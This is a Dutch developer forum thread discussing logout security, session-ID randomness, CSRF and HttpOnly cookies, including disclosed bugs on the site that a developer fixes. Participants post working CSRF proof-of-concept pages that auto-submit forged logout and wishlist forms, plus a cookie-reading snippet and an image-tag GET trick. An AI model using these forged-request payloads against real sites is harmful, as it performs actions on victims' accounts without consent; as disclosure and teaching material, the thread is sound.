Veiligheid GET/POST bij uitlog functie *

[Soultaker]

EdwinG schreef op woensdag 24 maart 2010 @ 20:21:
Waar in de uitlogpagina vindt je een sessie-id als parameter?

Goed punt! Ik keek naar de code van de checkboxes, maar blijkbaar kun je ook uitloggen zonder enige sessie id te specificeren. Lijkt me wel een serieuze bug dan.

Een probleem met de manier waarop dat is opgebouwd is overigens dat ik een request kan forgen met daarin vele (honderdduizenden?) POST parameters met namen in de vorm van 'delete[willekeurigsessieid]', die elk de waarde '1' hebben. Elke geldige sessie-ID van de getroffen gebruiker die er tussen zit resulteerd dan in een uitgelogde sessie.

Het zijn 32 hexadecimale karakters, oftewel 128 bits aan entropie. (Misschien een MD5 hash van wat interne state, of gewoon een soort GUID). De kans dat je die goed gokt is toch wel verwaarloosbaar klein, zelfs als je vele ids in één request stopt.

[Voutloos]

EdwinG schreef op woensdag 24 maart 2010 @ 20:21:
Een probleem met de manier waarop dat is opgebouwd is overigens dat ik een request kan forgen met daarin vele (honderdduizenden?)

Het aantal mogelijke sessieids hier is:2¹²⁸, oftewel 3.4 × 10³⁸. Sterkte.

[EdwinG]

Soultaker schreef op woensdag 24 maart 2010 @ 20:43:
Het zijn 32 hexadecimale karakters, oftewel 128 bits aan entropie. (Misschien een MD5 hash van wat interne state, of gewoon een soort GUID). De kans dat je die goed gokt is toch wel verwaarloosbaar klein, zelfs als je vele ids in één request stopt.

Voutloos schreef op woensdag 24 maart 2010 @ 20:44:
Het aantal mogelijke sessieids hier is:2¹²⁸, oftewel 3.4 × 10³⁸. Sterkte.

Dat het met deze lengte inderdaad weinig zin heeft lijkt me duidelijk, tenzij iemand een manier vind om een (grove) schatting te maken van de sessie-id's die gebruikt worden. Dat neemt niet weg dat je, door 65535 parameters mee te geven, 16 bit aan entropie kunt compenseren.

Indien iemand deze methode overneemt, maar 'besluit' dat 4 bytes entropie wel voldoende is (of dit per ongeluk bereikt door een md5sum van mt_rand() te gebruiken), wordt het al een ander verhaal.

[sanzut]

Heb even getest, op GOT werkt het probleem uit de OP in elk geval niet
FF3.6 Win7 Pro

[Voor 72% gewijzigd door sanzut op 24-03-2010 21:03]

[.oisyn]

Soultaker schreef op woensdag 24 maart 2010 @ 20:43:
Het zijn 32 hexadecimale karakters, oftewel 128 bits aan entropie. (Misschien een MD5 hash van wat interne state, of gewoon een soort GUID). De kans dat je die goed gokt is toch wel verwaarloosbaar klein, zelfs als je vele ids in één request stopt.

Hier heb ik het al eens met crisp of ACM over gehad. T.net's sessie id was gewoon 32 random hex digits uit een PRNG. De entropie kwam puur en alleen uit de initiele seed van PHP, en die is niet zo best (huidige tijd en process id). Ik geloof dat er inmiddels nav die discussie /dev/urandom wordt gebruikt

[Korben]

Het feit dat een POST voor het uitloggen van een gebruiker 'moeilijk' is, is natuurlijk geen argument. Daar ben je developer voor, om dat soort 'problemen' op te lossen. Overigens is 'moeilijk' nogal relatief:

ASP.NET:

<asp:LinkButton runat="server" ID="LogoutButton" PostBackUrl="~/Logout.aspx" Text="Uitloggen" />

Maar ftm zijn er wel meer problemen die je als je je aan de regels houdt niet altijd even 'makkelijk' kunt oplossen. Een voorbeeld is target="_blank", wat in HTML 4 Strict en XHTML Strict niet mag. Veel HTML-editors bieden daar geen oplossing voor, dus als je content uitspuugt die in zo'n editor is gemaakt, moet je daar toch een oplossing voor verzinnen.

[Davio]

.oisyn schreef op woensdag 24 maart 2010 @ 22:08:
[...]

Hier heb ik het al eens met crisp of ACM over gehad. T.net's sessie id was gewoon 32 random hex digits uit een PRNG. De entropie kwam puur en alleen uit de initiele seed van PHP, en die is niet zo best (huidige tijd en process id). Ik geloof dat er inmiddels nav die discussie /dev/urandom wordt gebruikt

Als je al iets met een random functie doet, geef je toch altijd je eigen initiële seed mee om entropie toe te voegen? Of haal je daarmee juist entropie weg omdat mensen zo'n seed zouden kunnen raden?

[Voutloos]

Nou ja, je moet het pas zelf doen als je weet wat je doet. Ik vrees alleen dat hele volksstammen seed(time()); doen.

[Voor 3% gewijzigd door Voutloos op 25-03-2010 08:37]

[EdwinG]

.oisyn schreef op woensdag 24 maart 2010 @ 22:08:
Hier heb ik het al eens met crisp of ACM over gehad. T.net's sessie id was gewoon 32 random hex digits uit een PRNG. De entropie kwam puur en alleen uit de initiele seed van PHP, en die is niet zo best (huidige tijd en process id). Ik geloof dat er inmiddels nav die discussie /dev/urandom wordt gebruikt

Wel jammer dat de sessie-id vervolgens niet gebruikt wordt als verplichte POST parameter of waarde, waardoor CSRF mogelijk is.

edit:
Ondertussen niet meer (2010/03/27)

[Voor 20% gewijzigd door EdwinG op 27-03-2010 12:13]

[Matis]

Oh, dat was idd best verbazingwekkend

waarom staat er op de uitlog-pagina van T.net eigenlijk twee keer dezelfde value

HTML:

<input type="hidden" name="location" value="http://tweakers.net/gallery/206968">
<input type="hidden" name="location" value="http://tweakers.net/gallery/206968">

[Hipska]

Eerder in dit topic werd door iemand ge opperd: "Gebruik het login systeem van anderen ipv zelf een onveilig systeem te maken" (tenzij je natuurlijk als bedoeling hebt om login software te maken )

Dit is ook mijn idee hier op. Daarom laat ik gebruikers site's in mijn beheer inloggen dmv OpenID en laat ik het inloggen over aan de OpenID providers en hoef ik er zelf mijn hoofd niet over de veiligheid te buigen. Dit systeem is goed bruikbaar, want zowat elke persoon op internet heeft tegenwoordig toch wel minstens 1 OpenID account.

Het inloggen verloopt hierdoor wel veilig, maar het uitlog probleem blijft wel nog bestaan. De OpenID identifier moet ooit eens uit de sessie verdwijnen, of de sessie moet gewist worden.

Als ik dit topic kan samenvatten, ben ik dan correct te stellen dat dit de "beste" methode is?
Uitloggen dmv een POST (of misschien wel DELETE?) met als parameters een random gegenereerde nonce (die ook in de sessie staat als controle).

[Voutloos]

Of het de beste methode is hangt van je wensen af, dus een beetje makkelijk om dat te generaliseren.

Overigens sluit het gebruiken van OpenID of OAuth absoluut niet dit soort fouten uit. En al doe je het goed, dan nog is het geen excuus voor het niet kennen van het HTTP protocol.

[Woy]

Voutloos schreef op donderdag 25 maart 2010 @ 08:37:
Nou ja, je moet het pas zelf doen als je weet wat je doet. Ik vrees alleen dat hele volksstammen seed(time()); doen.

Het is ook echt niet zo triviaal om een goede seed te genereren buiten de tijd. Je kan er van alles aan toevoegen, maar dat werkt ook alleen als je doordat het niet bekend is wat je er aan toe voegt.

[Hipska]

Voutloos schreef op vrijdag 26 maart 2010 @ 10:19:
Overigens sluit het gebruiken van OpenID of OAuth absoluut niet dit soort fouten uit.

Dat zei ik toch?

En al doe je het goed, dan nog is het geen excuus voor het niet kennen van het HTTP protocol.

Wat bedoel je hier mee? Bedoel je hiermee dat ik het HTTP protocol niet zou kennen of iets dergelijks?
Als je de HTTP specificaties erop na leest is een POST voor uit te loggen ook niet echt een correcte manier volgens mij. Logischer lijkt mij een DELETE naar /OpenID/Sessions/123456789abcdef, wat namelijk zou inhouden dat die resource verwijdert zal worden..

[Voutloos]

Je hoeft niet alles persoonlijk op te vatten hoor. Ik ben gewoon wat aan het zeuren (en blijf mij er ook eeuwig over verbazen) dat teveel mensen HTTP niet begrijpen of weten wat idempotent is.

[.oisyn]

Woy schreef op vrijdag 26 maart 2010 @ 10:25:
[...]

Het is ook echt niet zo triviaal om een goede seed te genereren buiten de tijd. Je kan er van alles aan toevoegen, maar dat werkt ook alleen als je doordat het niet bekend is wat je er aan toe voegt.

Bovendien moet je er rekening mee houden dat als je je puur en alleen baseert op de seed dat de entropie nooit meer bits kan zijn dan de grootte van de seed zelf. In PHP betekent dat dus 32 bits. Wil je meer, dan zul je meerdere PRNG instances met elk verschillende seeds moeten gebruiken. Alleen kent PHP geen Random class oid die je meerdere keren kunt instantieren

[CodeCaster]

Hipska schreef op vrijdag 26 maart 2010 @ 10:27:
Wat bedoel je hier mee? Bedoel je hiermee dat ik het HTTP protocol niet zou kennen of iets dergelijks?
Als je de HTTP specificaties erop na leest is een POST voor uit te loggen ook niet echt een correcte manier volgens mij. Logischer lijkt mij een DELETE naar /OpenID/Sessions/123456789abcdef, wat namelijk zou inhouden dat die resource verwijdert zal worden..

Jammer alleen dat HTML vanaf versie 5 pas DELETE gaat ondersteunen, en daarna is het wachten tot alle browsers het ondersteunen.

@ChrisH: anders kijk je even een paar posts boven je.

[Voor 8% gewijzigd door CodeCaster op 26-03-2010 10:55]

[Anoniem: 343818]

Hoe ver mag je gaan met testen op Tweakers.net? (Als in, ik plaats hier in dit topic iets, waardoor iedereen wordt uitgelogd bij wijze van. Krijg ik dan een (perm) ban? )

Edit @CodeCaster: Ja, dat zie ik, maar dat is nog niet echt een antwoord. Voor hetzelfde geld krijgt hij over 5 minuten een ban...

[Voor 28% gewijzigd door Anoniem: 343818 op 26-03-2010 11:02]

[.oisyn]

Misschien moet je dat testen niet hier doen, maar in een DM thread oid. Bijv. naar BC3 Victim, die leest het toch niet . En voor het plaatsen van een linkje hier zonder dat je het verdoezelt lijkt het me vrij belachelijk dat daar sancties op staan.

[Voor 69% gewijzigd door .oisyn op 26-03-2010 11:07]

[Olaf van der Spek]

.oisyn schreef op woensdag 24 maart 2010 @ 22:08:
Hier heb ik het al eens met crisp of ACM over gehad. T.net's sessie id was gewoon 32 random hex digits uit een PRNG. De entropie kwam puur en alleen uit de initiele seed van PHP, en die is niet zo best (huidige tijd en process id). Ik geloof dat er inmiddels nav die discussie /dev/urandom wordt gebruikt

Waarom initialiseren C++ en PHP de PNRG niet gewoon zelf? Dan hoeft de app zich daar tenminste niet zelf druk over te maken.

[crisp]

Anoniem: 343818 schreef op vrijdag 26 maart 2010 @ 10:54:
Hoe ver mag je gaan met testen op Tweakers.net? (Als in, ik plaats hier in dit topic iets, waardoor iedereen wordt uitgelogd bij wijze van. Krijg ik dan een (perm) ban? )

Je loopt enkel het risico dat je POC morgen niet meer werkt

[.oisyn]

Olaf van der Spek schreef op vrijdag 26 maart 2010 @ 11:11:
[...]

Waarom initialiseren C++ en PHP de PNRG niet gewoon zelf? Dan hoeft de app zich daar tenminste niet zelf druk over te maken.

PHP doet dat dus met de huidige tijd en het process id.

[Voor 70% gewijzigd door .oisyn op 26-03-2010 11:14]

[Woy]

.oisyn schreef op vrijdag 26 maart 2010 @ 11:02:
Misschien moet je dat testen niet hier doen, maar in een DM thread oid. Bijv. naar BC3 Victim, die leest het toch niet . En voor het plaatsen van een linkje hier zonder dat je het verdoezelt lijkt het me vrij belachelijk dat daar sancties op staan.

Idd in dit topic is het niet zo erg om POC's te plaatsen die geen schade aanrichten, mits je het er natuurlijk duidelijk bij aangeeft bij een linkje.

Sessies kapen of op andere manieren misbruik maken van mogelijke exploits worden natuurlijk wel gewoon bestraft.

.oisyn schreef op vrijdag 26 maart 2010 @ 10:38:
[...]
Wil je meer, dan zul je meerdere PRNG instances met elk verschillende seeds moeten gebruiken.

Waar je bovendien moet zorgen dat de seeds onafhankelijk van elkaar zijn. Als je seed1( time ) en seed2( time + 1 ) o.i.d. doet ben je nog nergens. Je zult dus 2 onafhankelijke bronnen van je seed moeten hebben.

[Voor 23% gewijzigd door Woy op 26-03-2010 11:50]

[Matis]

Daar hebben ze toch van die hele dure hardwarematige random-seed insteekkaarten voor?

[Olaf van der Spek]

.oisyn schreef op vrijdag 26 maart 2010 @ 11:14:
PHP doet dat dus met de huidige tijd en het process id.

Ik bedoel op een fatsoenlijke manier. Hmm, zelf heb ik "srand(static_cast<int>(time(NULL)));"...
Toch maar eens kijken of Boost niet iets heeft.

[Voor 20% gewijzigd door Olaf van der Spek op 26-03-2010 12:06]

[Woy]

Olaf van der Spek schreef op vrijdag 26 maart 2010 @ 11:57:
[...]

Ik bedoel op een fatsoenlijke manier. Hmm, zelf heb ik "srand(static_cast<int>(time(NULL)));"...
Toch maar eens kijken of Boost niet iets heeft.

Maar wat had jij dan voor idee voor een "fatsoenlijke" manier?

Matis schreef op vrijdag 26 maart 2010 @ 11:56:
Daar hebben ze toch van die hele dure hardwarematige random-seed insteekkaarten voor?

Je kan eventueel ook een seed maken van ruis, als je bijvoorbeeld een antenne hebt kun je gewoon het signaal wat je opvangt als seed gebruiken. Of je kunt iets met user-input doen, bijvoorbeeld de tijd die tussen de eerste x toetsaanslagen van het systeem zitten.

[Voor 40% gewijzigd door Woy op 26-03-2010 12:12]

[.oisyn]

/dev/random en /dev/urandom zijn gebaseerd op entropie van hardware binnen het systeem. Dingen waar je aan kunt denken zijn userinput, hdd seek times en voltages.

Olaf van der Spek schreef op vrijdag 26 maart 2010 @ 11:57:
[...]

Ik bedoel op een fatsoenlijke manier. Hmm, zelf heb ik "srand(static_cast<int>(time(NULL)));"...
Toch maar eens kijken of Boost niet iets heeft.

rand() is sowieso een no-go voor cryptografisch secure systemen. Kijk eens naar <random> (std::tr1)

[Voor 53% gewijzigd door .oisyn op 26-03-2010 12:20]

[Olaf van der Spek]

Woy schreef op vrijdag 26 maart 2010 @ 12:10:
Maar wat had jij dan voor idee voor een "fatsoenlijke" manier?

Bijvoorbeeld op basis van /dev/urandom.

[Woy]

Olaf van der Spek schreef op vrijdag 26 maart 2010 @ 13:04:
[...]

Bijvoorbeeld op basis van /dev/urandom.

Ok maar dat werkt niet cross-platform, maar ook daar zijn oplossingen voor.

Het punt wat ik probeer te maken is dat "Random" en een goede Seed niet zo vanzelfsprekend zijn als de meeste mensen denken. Als je voor je security op bepaald "random" gedrag vertrouwt, moet je eerst een goed nadenken over hoe random het nou eigenlijk is.

[Olaf van der Spek]

Woy schreef op vrijdag 26 maart 2010 @ 13:24:
[...]

Ok maar dat werkt niet cross-platform, maar ook daar zijn oplossingen voor.

Daarom staat er bijvoorbeeld voor.

Het punt wat ik probeer te maken is dat "Random" en een goede Seed niet zo vanzelfsprekend zijn als de meeste mensen denken. Als je voor je security op bepaald "random" gedrag vertrouwt, moet je eerst een goed nadenken over hoe random het nou eigenlijk is.

Dat is waar.

[Olaf van der Spek]

.oisyn schreef op vrijdag 26 maart 2010 @ 12:16:
rand() is sowieso een no-go voor cryptografisch secure systemen. Kijk eens naar <random> (std::tr1)

g++ vereist dan -std=c++0x, maar ik heb geen idee vanaf welke g++ versie dat wordt ondersteund. De code moet ook te compiler zijn op RHEL4 als het even kan (helaas). Boost/random is een betere optie.

[Voor 5% gewijzigd door Olaf van der Spek op 26-03-2010 14:00]

[Soultaker]

Wat wil je er nu precies mee doen? Als het gaat om het genereren van een 128-bits sessie-id kun je gewoon 16 bytes uit /dev/random of /dev/urandom trekken. Helaas niet helemaal platformneutraal. (Dat suggereerde .oisyn ook al trouwens.)

[crisp]

EdwinG schreef op donderdag 25 maart 2010 @ 19:03:
[...]


Wel jammer dat de sessie-id vervolgens niet gebruikt wordt als verplichte POST parameter of waarde, waardoor

Modbreak:

Deze linkt logt je uit. Op eigen risico dus
CSRF mogelijk is.

Inmiddels fixed

[Soultaker]

Mooi. Maar ik denk wel dat er nog heel wat meer formulieren kwetsbaar zijn voor dit soort attacks!

[EdwinG]

Soultaker schreef op zaterdag 27 maart 2010 @ 02:51:
Mooi. Maar ik denk wel dat er nog heel wat meer formulieren kwetsbaar zijn voor dit soort attacks!

Mogelijk, ik heb verder alleen de (quick)reply bekeken, deze zijn in ieder geval beschermd. (en anders had ik het niet eens gemeld, behalve aan de devvers).

Aan mijn logboek te zien is er ongeveer 50x doorgeklikt vanaf dit topic. Voor degenen die voor de modbreak op de link klikten en niet uitgelogd wilden worden: Sorry

En mocht iemand zich nog afvragen hoe ik de POST voor elkaar kreeg:

HTML:

<html>
  <head>
    <script type="text/javascript">
      function loguit() {
        document.forms.uitgang.submit();
      }
    </script>
    <title>Log eens uit</title>
  </head>
  <body onload="loguit()">
    <form method="post" name="uitgang" action="http://target">
      <input type="hidden" name="logout" value="1" />
      <input type="hidden" name="option" value="this" />
    </form>
  </body>
</html>

Wikipedia: Cross-site request forgery

crisp schreef op zaterdag 27 maart 2010 @ 00:18:
Inmiddels fixed

Wat een tijd om dingen te fixen

[Voor 6% gewijzigd door EdwinG op 27-03-2010 09:59]

[Xander]

Soultaker schreef op zaterdag 27 maart 2010 @ 02:51:
Mooi. Maar ik denk wel dat er nog heel wat meer formulieren kwetsbaar zijn voor dit soort attacks!

Inderdaad...

Klik hier alleen als je een nieuwe wishlist genaamd "muwhaha" met daarin een Philips 40PFL9704H televisie wilt. En vergeet niet om die wenslijst even te verwijderen als je gezien hebt dat het werkt, anders verpest het de statistieken.

HTML:

<html>
  <head>
    <script type="text/javascript">
      function meukee() {
        document.forms.list_wishlist.submit();
      }
    </script>
    <title>Wishlist</title>
  </head>
  <body onload="meukee()">
    <form action="http://tweakers.net/gallery/?Action=addproducttocollection" id="list_wishlist" method="POST">
    <input name="productId" value="237510" type="hidden">
    <input name="cn" value="muwhaha" type="hidden">
    <input name="t" value="wishlist" type="hidden">
    <input name="av" value="" type="hidden">
    </form>
  </body>
</html>

[Voor 5% gewijzigd door Xander op 27-03-2010 12:31]

[crisp]

Soultaker schreef op zaterdag 27 maart 2010 @ 02:51:
Mooi. Maar ik denk wel dat er nog heel wat meer formulieren kwetsbaar zijn voor dit soort attacks!

Oh, dat zal vast wel (zie voorbeeld hierboven ). Ik heb gisteren alleen gekeken naar de my.tnet formulieren, alles wat dus met je profiel en je sessies te maken heeft.

Binnen React is er standaard al een mechanisme om CSRF tegen te gaan, en ook in onze Ajax interface is er rekening mee gehouden. Hetzelfde geldt voor de reactie-formulieren waar eenmalige tokens worden gebruikt.

Op alle andere plekken is de kans groot dat je het op deze manier kan misbruiken, een nieuw voorbeeld vinden is dus ook niet zo moeilijk. Ik denk dat de meeste sites op plekken wel kwetsbaar zijn voor CSRF.

[Xander]

crisp schreef op zaterdag 27 maart 2010 @ 12:13:
[...]

Ik denk dat de meeste sites op plekken wel kwetsbaar zijn voor CSRF.

Dat zeker. Dit topic drukt me weer eens met de neus op de feiten, veel van mijn eigen projecten zijn ook kwetsbaar voor dit soort dingen.

Janoz schreef op woensdag 24 maart 2010 @ 18:10:
[...]
Google is gestopt omdat ze inderdaad tegen het probleem aanliepen dat het web stikt van de brakke webapplicaties. Zij kregen klachten dat hun web accelerators er voor zorgde dat gebruikers werden gebanned of topics werden verwijderd. Mij lijkt dat meer de fout van een brakke forum implementatie.

En vervolgens zijn ze zelf ook brakke applicaties gaan bouwen waar hun eigen accelerator mee in de problemen zou komen?

Van gmail:

HTML:

<a class="e a7 ou" id=":r6" href="?logout&amp;hl=en" target="_top">Sign out</a>

[Olaf van der Spek]

Soultaker schreef op vrijdag 26 maart 2010 @ 14:21:
Wat wil je er nu precies mee doen? Als het gaat om het genereren van een 128-bits sessie-id kun je gewoon 16 bytes uit /dev/random of /dev/urandom trekken. Helaas niet helemaal platformneutraal. (Dat suggereerde .oisyn ook al trouwens.)

Een platformonafhankelijke oplossing zou wel fijn zijn. Het wordt gebruikt om passwords (via een soort private key) te genereren.

[RobIII]

Overigens, nog een tip om je cookies wat beter in de hand te houden: http://www.codinghorror.c...our-cookies-httponly.html

Ik kan, op T.net bijv., met JS het TNetID uitlezen (plak in je adresbalk: javascript:alert(document.cookie); of Klik hier! en zie (o.a.) je TNetID). Als die cookie met HttpOnly gezet was kon je 'm met JS niet eens uitlezen.

Nu weet ik niet of T.net iets doet met het TNetID in JS, maar ik kan zo snel niets bedenken. Voor eventuele XSS aanvallen zou dit al (enige mate van) extra bescherming bieden.

[Voor 65% gewijzigd door RobIII op 28-03-2010 00:40]

[Leftblank]

Xander schreef op zaterdag 27 maart 2010 @ 12:38:
[...]
En vervolgens zijn ze zelf ook brakke applicaties gaan bouwen waar hun eigen accelerator mee in de problemen zou komen?

Van gmail:

HTML:

<a class="e a7 ou" id=":r6" href="?logout&amp;hl=en" target="_top">Sign out</a>

Wilde gok, Google prefetcht geen meuk met login, logout, edit, delete of remove erin waardoor hun eigen producten en de gemiddelde fatsoenlijk opgebouwde site blijft werken. Vervolgens heb je altijd nog de prutsers die voor obfuscated oplossingen gaan en dan kan 't wel eens de mist in gaan natuurlijk

[pedorus]

RobIII schreef op zondag 28 maart 2010 @ 00:22:
Nu weet ik niet of T.net iets doet met het TNetID in JS, maar ik kan zo snel niets bedenken. Voor eventuele XSS aanvallen zou dit al (enige mate van) extra bescherming bieden.

T.net geeft die id toch weer terug in de html, bijvoorbeeld op deze pagina. Daardoor zou het weinig schelen, behalve iets meer werk voor een extra XMLHttpRequest. Dat zou dan dus ook moeten worden aangepakt.

[crisp]

RobIII schreef op zondag 28 maart 2010 @ 00:22:
[...]
Nu weet ik niet of T.net iets doet met het TNetID in JS, maar ik kan zo snel niets bedenken. Voor eventuele XSS aanvallen zou dit al (enige mate van) extra bescherming bieden.

Wij gebruiken TnetID uit de cookie in onze Ajax-interface bij POST-requests, juist weer om CSRF te voorkomen...

Wat Pedorus hierboven dus ook al zegt: als je het sessie-id opneemt in formulieren om CSRF te voorkomen dan heeft http-only voor je cookie weinig nut. Alternatief is een per-page uniek token met een korte TTL. Dat doen we al op de frontpage bij de reacties, maar dat is een behoorlijke overhead op de database cq memcached omdat 99% van die tokens ueberhaupt nooit gebruikt worden.

[Voor 32% gewijzigd door crisp op 28-03-2010 01:10]

[RobIII]

crisp schreef op zondag 28 maart 2010 @ 00:54:
Wij gebruiken TnetID uit de cookie in onze Ajax-interface bij POST-requests

Dat is toch helemaal niet nodig? XMLHTTP stuurt afaik gewoon je cookies mee. Dan hoef je toch niet expliciet de values die in een cookie staan nog eens te setten? Je kunt de values uit een cookie die geset is met HttpOnly alleen niet (meer) benaderen (op wat bugs na) middels JS maar dat is dan ook helemaal niet nodig.

[Voor 18% gewijzigd door RobIII op 28-03-2010 01:07]

[pedorus]

RobIII schreef op zondag 28 maart 2010 @ 01:05:
[...]

Dat is toch helemaal niet nodig? XMLHTTP stuurt afaik gewoon je cookies mee. Dan hoef je toch niet expliciet de values die in een cookie staan nog eens te setten?

Maar dan weet je nog niet of de request wel vanaf je eigen site komt, want vanaf een andere site krijg je natuurlijk ook je eigen cookies terug (CSRF).

crisp schreef op zondag 28 maart 2010 @ 00:54:
Wat Pedorus hierboven dus ook al zegt: als je het sessie-id opneemt in formulieren om CSRF te voorkomen dan heeft http-only voor je cookie weinig nut. Alternatief is een per-page uniek token met een korte TTL. Dat doen we al op de frontpage bij de reacties, maar dat is een behoorlijke overhead op de database cq memcached omdat 99% van die tokens ueberhaupt nooit gebruikt worden.

Je kan daarvoor toch ook gewoon een andere, vaste authentication token gebruiken, of zelfs (nog beter) een hash daarvan met een al bestaande page-unique identifier?

[Voor 39% gewijzigd door pedorus op 28-03-2010 01:13]

[RobIII]

pedorus schreef op zondag 28 maart 2010 @ 01:08:
[...]

Maar dan weet je nog niet of de request wel vanaf je eigen site komt, want vanaf een andere site krijg je natuurlijk ook je eigen cookies terug (CSRF).

Oh, zo ja. Ja, d'uh.
Het ging er mij om dat een beetje 'scriptkiddie' / 'bot' die om welke reden dan ook een XSS post ergens in gevlamd krijgt niet zomaar een document.cookie value kan doorsturen. Het is dan ook maar, zoals ik zei, een (weliswaar dun) laagje extra protectie.

[crisp]

RobIII schreef op zondag 28 maart 2010 @ 01:14:
[...]

Oh, zo ja. Ja, d'uh.
Het ging er mij om dat een beetje 'scriptkiddie' / 'bot' die om welke reden dan ook een XSS post ergens in gevlamd krijgt niet zomaar een document.cookie value kan doorsturen. Het is dan ook maar, zoals ik zei, een (weliswaar dun) laagje extra protectie.

Je sessie locken op IP helpt ook al daartegen

[RobIII]

crisp schreef op zondag 28 maart 2010 @ 01:20:
[...]

Je sessie locken op IP helpt ook al daartegen

Maar dat doet niet iedereen Maar ik had idd niet stil gestaan bij de Ajax i'face.

[Olaf van der Spek]

crisp schreef op zondag 28 maart 2010 @ 00:54:
Wat Pedorus hierboven dus ook al zegt: als je het sessie-id opneemt in formulieren om CSRF te voorkomen dan heeft http-only voor je cookie weinig nut. Alternatief is een per-page uniek token met een korte TTL. Dat doen we al op de frontpage bij de reacties, maar dat is een behoorlijke overhead op de database cq memcached omdat 99% van die tokens ueberhaupt nooit gebruikt worden.

Dat kun je toch zonder server-side state oplossen? Zie syn cookies...

[Olaf van der Spek]

crisp schreef op zondag 28 maart 2010 @ 01:20:
Je sessie locken op IP helpt ook al daartegen

Dat is geen oplossing als je IP adres niet voor elk request hetzelfde is.

[pieturp]

Olaf van der Spek schreef op zondag 28 maart 2010 @ 16:29:
[...]
Dat is geen oplossing als je IP adres niet voor elk request hetzelfde is.

Óf meerdere users aanmaken, óf gebruikers meerdere keren toestaan in te loggen (en dus meerdere sessies per user uitdelen)

[Voutloos]

Dan nog kan je maar 1 sessie in je browser hebben.

Ik vraag me nog altijd af hoeveel gebruikers je nou echt lastig zou vallen met een IP lock die standaard aan staat...

[Olaf van der Spek]

Voutloos schreef op zondag 28 maart 2010 @ 17:19:
Dan nog kan je maar 1 sessie in je browser hebben.

Ik vraag me nog altijd af hoeveel gebruikers je nou echt lastig zou vallen met een IP lock die standaard aan staat...

Het maakt iets als Foxmarks cookie sync bijvoorbeeld onmogelijk. Ook load balancing over meerdere internetverbinding dwarsboom je er mee.

[Olaf van der Spek]

pieturp schreef op zondag 28 maart 2010 @ 16:46:
Óf meerdere users aanmaken, óf gebruikers meerdere keren toestaan in te loggen (en dus meerdere sessies per user uitdelen)

Dat werkt beide niet in dat geval...

[Trucker Her]

[Voor 23% gewijzigd door Trucker Her op 28-03-2010 18:06]

[Olaf van der Spek]

Trucker Her schreef op zondag 28 maart 2010 @ 18:05:
[afbeelding]

Dat is dus niet de bedoeling!

[Trucker Her]

Tis dus alleen even ter illustratie dat het op tweakers niet zo werkt.. Omdat ze de afbeeldingen controleren!

[Xander]

Tweakers controleert helemaal niets aan die afbeeldingen, de enige reden dat het niet werkt is dat je na het bezoeken van die URL niet uitgelogd bent.

Dit zou wel werken:

code:

[img]http://gathering.tweakers.net/forum/reset[/img]

[Soultaker]

Nee hoor, ook niet. crisp heeft de meeste puntjes uit dit topic inmiddels al gefixt.

[crisp]

Ik ben bang dat die /reset wel gaat werken, da's feitelijk een non-idempotente GET...

[Soultaker]

Oh, die ja. Wat doet dat eigenlijk, behalve de hitcounters resetten?

[crisp]

Soultaker schreef op maandag 29 maart 2010 @ 10:13:
Oh, die ja. Wat doet dat eigenlijk, behalve de hitcounters resetten?

niet meer dan dat, en alleen voor je huidige sessie.

[netvor]

crisp schreef op zaterdag 27 maart 2010 @ 12:13:
Ik denk dat de meeste sites op plekken wel kwetsbaar zijn voor CSRF.

Dit dus. Het web is echt vergeven van CSRF vulnerabilities, en toch komt het in lijsten als de OWASP top10 en de CWE/SANS top25 steevast in de middenmoot terecht, lager dan SQL injection en buffer overflows, vulnerabilities die IMHO een stuk minder vaak voorkomen. Case in point: mogelijkheden tot sql injection zullen ver te zoeken zijn in apps als tweakers.net en gmail, maar beiden zijn vatbaar voor CSRF, zelfs de simpele variant met GET requests.

Waarom wordt CSRF zo onderschat? Waarschijnlijk omdat de impact minder desastreus is: met een goede SQL injection attack kan je een hele site platleggen of een lijst van alle users incl. emailadressen bemachtigen. Met CSRF val je vaak maar één user aan, en de actie blijft beperkt tot iets dat die user zelf toch al kon doen.

Even over HTTPOnly: het is een goed idee dat aan te zetten, en het is iets waar ik bij het security-testen van nieuwe apps de eerste dag al even naar kijk. Maar onthoud dat het niet zaligmakend is: niet alle browsers ondersteunen het (op owasp.org staat wel ergens een lijstje), en voor veel developers is het een verleidelijk kleine stap van "we gebruiken HTTPOnly cookies om het risico van session hijacking te verkleinen" tot "XSS en session hijacking? Niet mogelijk, we gebruiken immers httponly." Een beetje hetzelfde riedeltje als met Hibernate en SQL injection.

BTW, kudos @crisp voor het razendsnel fixen van deze bugs. En ik maar denken dat developers die snel en positief reageren op bugreports een fata morgana waren.

[Soultaker]

netvor schreef op maandag 29 maart 2010 @ 11:20:
Waarom wordt CSRF zo onderschat? Waarschijnlijk omdat de impact minder desastreus is: met een goede SQL injection attack kan je een hele site platleggen of een lijst van alle users incl. emailadressen bemachtigen. Met CSRF val je vaak maar één user aan, en de actie blijft beperkt tot iets dat die user zelf toch al kon doen.

Waar, maar sommige gebruikers hebben wel veel macht. Een administrator kan vaak hele delen van een site wijzigen of wissen, of rechten toekennen aan derden. Daarmee kan een enkele CSRF aanval gericht op een enkele user toch verreikende gevolgen hebben, al moet je je als attacker dan wel op een specifieke user richten.

[.oisyn]

RobIII schreef op zondag 28 maart 2010 @ 00:22:
Overigens, nog een tip om je cookies wat beter in de hand te houden: http://www.codinghorror.c...our-cookies-httponly.html

Ik kan, op T.net bijv., met JS het TNetID uitlezen (plak in je adresbalk: [html]<span style="font-family:courier;">javascript:alert(document.cookie);</span>[/html] of [html]<a href="#" onclick="alert(document.cookie); return false;">Klik hier!</a>[/html] en zie (o.a.) je TNetID). Als die cookie met HttpOnly gezet was kon je 'm met JS niet eens uitlezen.

Nu weet ik niet of T.net iets doet met het TNetID in JS, maar ik kan zo snel niets bedenken. Voor eventuele XSS aanvallen zou dit al (enige mate van) extra bescherming bieden.

Met HttpOnly gooi je gelijk de deur dicht voor browser extensions die wat speciaals met de site doen (zo heb ik het tnetid nodig om de instellingen van m'n chrome extension (zie sig, al is die feature nog niet live) te synchroniseren met je bookmarks en notepad)

[Voor 8% gewijzigd door .oisyn op 29-03-2010 12:24]

[RobIII]

.oisyn schreef op maandag 29 maart 2010 @ 12:20:
[...]


Met HttpOnly gooi je gelijk de deur dicht voor browser extensions die wat speciaals met de site doen (zo heb ik het tnetid nodig om de instellingen van m'n chrome extension (zie sig, al is die feature nog niet live) te synchroniseren met je bookmarks en notepad)

